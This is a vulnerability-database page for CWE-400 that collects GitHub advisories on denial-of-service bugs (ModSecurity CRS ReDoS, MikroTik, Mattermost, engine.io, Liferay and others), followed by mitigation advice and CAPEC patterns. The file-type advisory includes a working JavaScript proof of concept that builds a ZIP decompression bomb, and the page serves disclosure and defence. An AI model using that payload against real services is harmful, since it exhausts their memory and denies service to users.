CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5412 vulnerabilities reference this CWE, most recent first.
GHSA-J45J-W7QV-7R59
Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2022-05-24 16:44An issue was discovered in OWASP ModSecurity Core Rule Set (CRS) through 3.1.0. /rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf allows remote attackers to cause a denial of service (ReDOS) by entering a specially crafted string with nested repetition operators.
{
"affected": [],
"aliases": [
"CVE-2019-11388"
],
"database_specific": {
"cwe_ids": [
"CWE-185",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-21T02:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in OWASP ModSecurity Core Rule Set (CRS) through 3.1.0. /rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf allows remote attackers to cause a denial of service (ReDOS) by entering a specially crafted string with nested repetition operators.",
"id": "GHSA-j45j-w7qv-7r59",
"modified": "2022-05-24T16:44:03Z",
"published": "2022-05-24T16:44:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11388"
},
{
"type": "WEB",
"url": "https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1354"
},
{
"type": "WEB",
"url": "https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1372"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J46G-4X3W-74PW
Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2025-04-20 03:34The MikroTik Router hAP Lite 6.25 has no protection mechanism for unsolicited TCP ACK packets in the case of a fast network connection, which allows remote attackers to cause a denial of service (CPU consumption) by sending many ACK packets. After the attacker stops the exploit, the CPU usage is 100% and the router requires a reboot for normal operation.
{
"affected": [],
"aliases": [
"CVE-2017-6444"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-12T05:59:00Z",
"severity": "HIGH"
},
"details": "The MikroTik Router hAP Lite 6.25 has no protection mechanism for unsolicited TCP ACK packets in the case of a fast network connection, which allows remote attackers to cause a denial of service (CPU consumption) by sending many ACK packets. After the attacker stops the exploit, the CPU usage is 100% and the router requires a reboot for normal operation.",
"id": "GHSA-j46g-4x3w-74pw",
"modified": "2025-04-20T03:34:00Z",
"published": "2022-05-13T01:10:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6444"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2017030029"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/141449/Mikrotik-Hap-Lite-6.25-Denial-Of-Service.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/41601"
},
{
"type": "WEB",
"url": "http://www.exploitalert.com/view-details.html?id=26137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J479-RCFP-64JG
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50PHPCMS 9 allows remote attackers to cause a denial of service (resource consumption) via large font_size, height, and width parameters in an api.php?op=checkcode request.
{
"affected": [],
"aliases": [
"CVE-2018-14940"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-05T18:29:00Z",
"severity": "HIGH"
},
"details": "PHPCMS 9 allows remote attackers to cause a denial of service (resource consumption) via large font_size, height, and width parameters in an api.php?op=checkcode request.",
"id": "GHSA-j479-rcfp-64jg",
"modified": "2022-05-13T01:50:03Z",
"published": "2022-05-13T01:50:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14940"
},
{
"type": "WEB",
"url": "https://github.com/m0us3Sun/PHPCMS-v9/issues/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J47W-4G3G-C36V
Vulnerability from github – Published: 2026-03-13 20:56 – Updated: 2026-03-16 21:59Summary
A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().
In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().
This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.
Root Cause
The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.
For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:
const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;
and:
const maximumLength = hasUnknownFileSize(this.tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;
Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.
Proof of Concept
import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';
async function createZipBomb(sizeInMegabytes) {
return new Promise((resolve, reject) => {
const chunks = [];
const writable = new Writable({
write(chunk, encoding, callback) {
chunks.push(chunk);
callback();
},
});
const archive = archiver('zip', {zlib: {level: 9}});
archive.pipe(writable);
writable.on('finish', () => {
resolve(Buffer.concat(chunks));
});
archive.on('error', reject);
const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
archive.finalize();
});
}
const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));
const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;
console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));
Observed on file-type 21.3.1:
- ZIP size: about 255 KB
- RSS growth during detection: about 257 MB
Affected APIs
Affected:
- fileTypeFromBuffer()
- fileTypeFromBlob()
- fileTypeFromFile()
Not affected:
- fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs
Impact
Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.
Cause
The issue was introduced in 399b0f1
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 21.3.1"
},
"package": {
"ecosystem": "npm",
"name": "file-type"
},
"ranges": [
{
"events": [
{
"introduced": "20.0.0"
},
{
"fixed": "21.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32630"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:56:05Z",
"nvd_published_at": "2026-03-16T14:19:40Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from \u0027file-type\u0027;\nimport archiver from \u0027archiver\u0027;\nimport {Writable} from \u0027node:stream\u0027;\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) =\u003e {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver(\u0027zip\u0027, {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on(\u0027finish\u0027, () =\u003e {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on(\u0027error\u0027, reject);\n\n\t\tconst xmlPrefix = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u0027;\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: \u0027[Content_Types].xml\u0027});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log(\u0027ZIP size (KB):\u0027, (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log(\u0027RSS growth (MB):\u0027, ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1",
"id": "GHSA-j47w-4g3g-c36v",
"modified": "2026-03-16T21:59:48Z",
"published": "2026-03-13T20:56:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32630"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd"
},
{
"type": "PACKAGE",
"url": "https://github.com/sindresorhus/file-type"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/file-type/releases/tag/v21.3.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry"
}
GHSA-J494-7X2V-VVVP
Vulnerability from github – Published: 2023-07-13 17:02 – Updated: 2023-07-14 13:28Impact
When executing a relayed transaction, if the inner transaction failed, it would have increased the inner transaction's sender account nonce. This could have contributed to a limited DoS attack on a targeted account. The fix is a breaking change so a new flag RelayedNonceFixEnableEpoch was needed. This was a strict processing issue while validating blocks on a chain.
Patches
v1.4.17 and later versions contain the fix for this issue
Workarounds
there were no workarounds for this issue. The affected account could only wait for the DoS attack to finish as the attack was not free or to attempt to send transactions in a very fast manner so as to compete on the same nonce with the attacker.
References
For the future understanding of this issue, on v1.4.17 and onwards versions, we have this integration test that addresses the issue and tests the fix. https://github.com/multiversx/mx-chain-go/blob/babdb144f1316ab6176bf3dbd7d4621120414d43/integrationTests/vm/txsFee/relayedMoveBalance_test.go#LL165C14-L165C14
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/multiversx/mx-chain-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34458"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T17:02:12Z",
"nvd_published_at": "2023-07-13T19:15:09Z",
"severity": "HIGH"
},
"details": "### Impact\nWhen executing a relayed transaction, if the inner transaction failed, it would have increased the inner transaction\u0027s sender account nonce. This could have contributed to a limited DoS attack on a targeted account. The fix is a breaking change so a new flag `RelayedNonceFixEnableEpoch` was needed. This was a strict processing issue while validating blocks on a chain.\n\n### Patches\nv1.4.17 and later versions contain the fix for this issue\n\n### Workarounds\nthere were no workarounds for this issue. The affected account could only wait for the DoS attack to finish as the attack was not free or to attempt to send transactions in a very fast manner so as to compete on the same nonce with the attacker.\n\n### References\nFor the future understanding of this issue, on v1.4.17 and onwards versions, we have this integration test that addresses the issue and tests the fix. \nhttps://github.com/multiversx/mx-chain-go/blob/babdb144f1316ab6176bf3dbd7d4621120414d43/integrationTests/vm/txsFee/relayedMoveBalance_test.go#LL165C14-L165C14\n",
"id": "GHSA-j494-7x2v-vvvp",
"modified": "2023-07-14T13:28:34Z",
"published": "2023-07-13T17:02:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/multiversx/mx-chain-go/security/advisories/GHSA-j494-7x2v-vvvp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34458"
},
{
"type": "WEB",
"url": "https://github.com/multiversx/mx-chain-go/commit/babdb144f1316ab6176bf3dbd7d4621120414d43"
},
{
"type": "PACKAGE",
"url": "https://github.com/multiversx/mx-chain-go"
},
{
"type": "WEB",
"url": "https://github.com/multiversx/mx-chain-go/blob/babdb144f1316ab6176bf3dbd7d4621120414d43/integrationTests/vm/txsFee/relayedMoveBalance_test.go#LL165C14-L165C14"
},
{
"type": "WEB",
"url": "https://github.com/multiversx/mx-chain-go/releases/tag/v1.4.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "mx-chain-go\u0027s relayed transactions always increment nonce"
}
GHSA-J49H-6577-5XWQ
Vulnerability from github – Published: 2026-01-27 00:57 – Updated: 2026-01-29 03:40Unbounded TLV length in ReadFile can cause Denial of Service
Summary
A Denial of Service vulnerability was identified in ReadFile() where unbounded TLV length values could lead to excessive CPU and memory usage when processing data from a malicious or non-compliant NFC source. This issue has been fixed by enforcing strict limits on acceptable TLV lengths.
Affected Versions
- Affected: All versions prior to v0.17.2
- Fixed in: v0.17.2
Details
ReadFile() processes BER-TLV encoded data returned from an NFC or APDU source via a Transceiver interface. Prior to the fix, the implementation did not enforce an upper bound on long-form TLV length values.
A malicious or non-compliant NFC endpoint could advertise an excessively large length (up to 4 GB), causing the library to:
- Perform a very large number of read iterations
- Allocate excessive memory
- Consume significant CPU resources
- Block execution for an extended period
While such lengths are unrealistic for compliant MRTD or ISO 7816 devices, they can be produced by emulated or malicious sources, or by untrusted inputs routed through higher-level APIs.
Impact
Applications using gmrtd to read data from NFC or APDU sources may experience:
- Excessive CPU usage
- Memory exhaustion
- Application hangs or denial of service
No confidentiality or data integrity impact has been identified.
Resolution
This issue has been resolved in v0.17.2.
The fix introduces:
- Enforcement of maximum allowable TLV lengths
- Upper bounds on the number of read operations required to retrieve a file
- Rejection of APDUs that exceed the requested response length
Recommendation
Users should upgrade to v0.17.2 or later.
No additional mitigation is required once the library is updated.
Credits
Discovered and reported by @ramrunner.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gmrtd/gmrtd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24738"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-27T00:57:19Z",
"nvd_published_at": "2026-01-27T21:16:03Z",
"severity": "MODERATE"
},
"details": "# Unbounded TLV length in ReadFile can cause Denial of Service\n\n## Summary\n\nA Denial of Service vulnerability was identified in `ReadFile()` where unbounded TLV length values could lead to excessive CPU and memory usage when processing data from a malicious or non-compliant NFC source. This issue has been fixed by enforcing strict limits on acceptable TLV lengths.\n\n## Affected Versions\n\n- **Affected:** All versions prior to **v0.17.2**\n- **Fixed in:** **v0.17.2**\n\n## Details\n\n`ReadFile()` processes BER-TLV encoded data returned from an NFC or APDU source via a `Transceiver` interface. Prior to the fix, the implementation did not enforce an upper bound on long-form TLV length values.\n\nA malicious or non-compliant NFC endpoint could advertise an excessively large length (up to 4 GB), causing the library to:\n\n- Perform a very large number of read iterations \n- Allocate excessive memory \n- Consume significant CPU resources \n- Block execution for an extended period \n\nWhile such lengths are unrealistic for compliant MRTD or ISO 7816 devices, they can be produced by emulated or malicious sources, or by untrusted inputs routed through higher-level APIs.\n\n## Impact\n\nApplications using `gmrtd` to read data from NFC or APDU sources may experience:\n\n- Excessive CPU usage \n- Memory exhaustion \n- Application hangs or denial of service \n\nNo confidentiality or data integrity impact has been identified.\n\n## Resolution\n\nThis issue has been resolved in **v0.17.2**.\n\nThe fix introduces:\n\n- Enforcement of maximum allowable TLV lengths \n- Upper bounds on the number of read operations required to retrieve a file \n- Rejection of APDUs that exceed the requested response length \n\n## Recommendation\n\nUsers should **upgrade to v0.17.2 or later**.\n\nNo additional mitigation is required once the library is updated.\n\n## Credits\n\nDiscovered and reported by **@ramrunner**.",
"id": "GHSA-j49h-6577-5xwq",
"modified": "2026-01-29T03:40:19Z",
"published": "2026-01-27T00:57:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gmrtd/gmrtd/security/advisories/GHSA-j49h-6577-5xwq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24738"
},
{
"type": "WEB",
"url": "https://github.com/gmrtd/gmrtd/commit/54469a95e5a20a8602ac1457b2110bfeb80c8891"
},
{
"type": "PACKAGE",
"url": "https://github.com/gmrtd/gmrtd"
},
{
"type": "WEB",
"url": "https://github.com/gmrtd/gmrtd/releases/tag/v0.17.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gmrtd ReadFile Vulnerable to Denial of Service via Excessive TLV Length Values"
}
GHSA-J4C3-3H73-74M9
Vulnerability from github – Published: 2023-11-27 12:30 – Updated: 2023-11-28 20:47Mattermost fails to limit the amount of data extracted from compressed archives during board import in Mattermost Boards allowing an attacker to consume excessive resources, possibly leading to Denial of Service, by importing a board using a specially crafted zip (zip bomb).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.0"
},
{
"fixed": "9.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.8.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-48268"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-28T20:47:58Z",
"nvd_published_at": "2023-11-27T10:15:08Z",
"severity": "MODERATE"
},
"details": "Mattermost fails to\u00a0limit the amount of data extracted from compressed archives during board import in Mattermost Boards\u00a0allowing an attacker to consume excessive resources, possibly leading to Denial of Service, by\u00a0importing a board using a specially crafted zip (zip bomb).\n\n",
"id": "GHSA-j4c3-3h73-74m9",
"modified": "2023-11-28T20:47:58Z",
"published": "2023-11-27T12:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48268"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mattermost Uncontrolled Resource Consumption vulnerability"
}
GHSA-J4F2-536G-R55M
Vulnerability from github – Published: 2022-02-09 22:29 – Updated: 2025-05-29 23:06Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "engine.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-36048"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-06T22:58:33Z",
"nvd_published_at": "2021-01-08T00:15:00Z",
"severity": "HIGH"
},
"details": "Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.",
"id": "GHSA-j4f2-536g-r55m",
"modified": "2025-05-29T23:06:32Z",
"published": "2022-02-09T22:29:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36048"
},
{
"type": "WEB",
"url": "https://github.com/socketio/engine.io/commit/58e274c437e9cbcf69fd913c813aad8fbd253703"
},
{
"type": "WEB",
"url": "https://github.com/socketio/engine.io/commit/734f9d1268840722c41219e69eb58318e0b2ac6b"
},
{
"type": "WEB",
"url": "https://blog.caller.xyz/socketio-engineio-dos"
},
{
"type": "WEB",
"url": "https://github.com/bcaller/kill-engine-io"
},
{
"type": "PACKAGE",
"url": "https://github.com/socketio/engine.io"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Resource exhaustion in engine.io"
}
GHSA-J4F5-GW7R-FR82
Vulnerability from github – Published: 2023-03-31 21:30 – Updated: 2023-04-11 06:30An issue was discovered in the CheckUser extension for MediaWiki through 1.39.3. When a user with checkuserlog permissions makes many CheckUserLog API requests in some configurations, denial of service can occur (RequestTimeoutException or upstream request timeout).
{
"affected": [],
"aliases": [
"CVE-2023-29139"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-31T19:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in the CheckUser extension for MediaWiki through 1.39.3. When a user with checkuserlog permissions makes many CheckUserLog API requests in some configurations, denial of service can occur (RequestTimeoutException or upstream request timeout).",
"id": "GHSA-j4f5-gw7r-fr82",
"modified": "2023-04-11T06:30:29Z",
"published": "2023-03-31T21:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29139"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T326293"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J4FW-4MHR-HC45
Vulnerability from github – Published: 2025-09-04 12:30 – Updated: 2025-09-04 15:56Kaleo Forms Admin in Liferay Portal 7.0.0 through 7.4.3.4, and Liferay DXP 7.4 GA, 7.3 GA through update 27, and older unsupported versions does not restrict the saving of request parameters in the portlet session, which allows remote attackers to consume system memory leading to denial-of-service (DoS) conditions via crafted HTTP request.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.portal.workflow.kaleo.forms.web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.29"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43772"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T15:56:47Z",
"nvd_published_at": "2025-09-04T10:42:31Z",
"severity": "HIGH"
},
"details": "Kaleo Forms Admin in Liferay Portal 7.0.0 through 7.4.3.4, and Liferay DXP 7.4 GA, 7.3 GA through update 27, and older unsupported versions does not restrict the saving of request parameters in the portlet session, which allows remote attackers to consume system memory leading to denial-of-service (DoS) conditions via crafted HTTP request.",
"id": "GHSA-j4fw-4mhr-hc45",
"modified": "2025-09-04T15:56:47Z",
"published": "2025-09-04T12:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43772"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/566ba7b48d6e8c62e5da71c34bb56b87183bf503"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/5d62db9d01005fc148297dad37f84660cd8b4a2b"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.atlassian.net/browse/LPE-17456"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43772"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Liferay Portal Vulnerable to Denial of Service in Kaleo Forms Admin"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.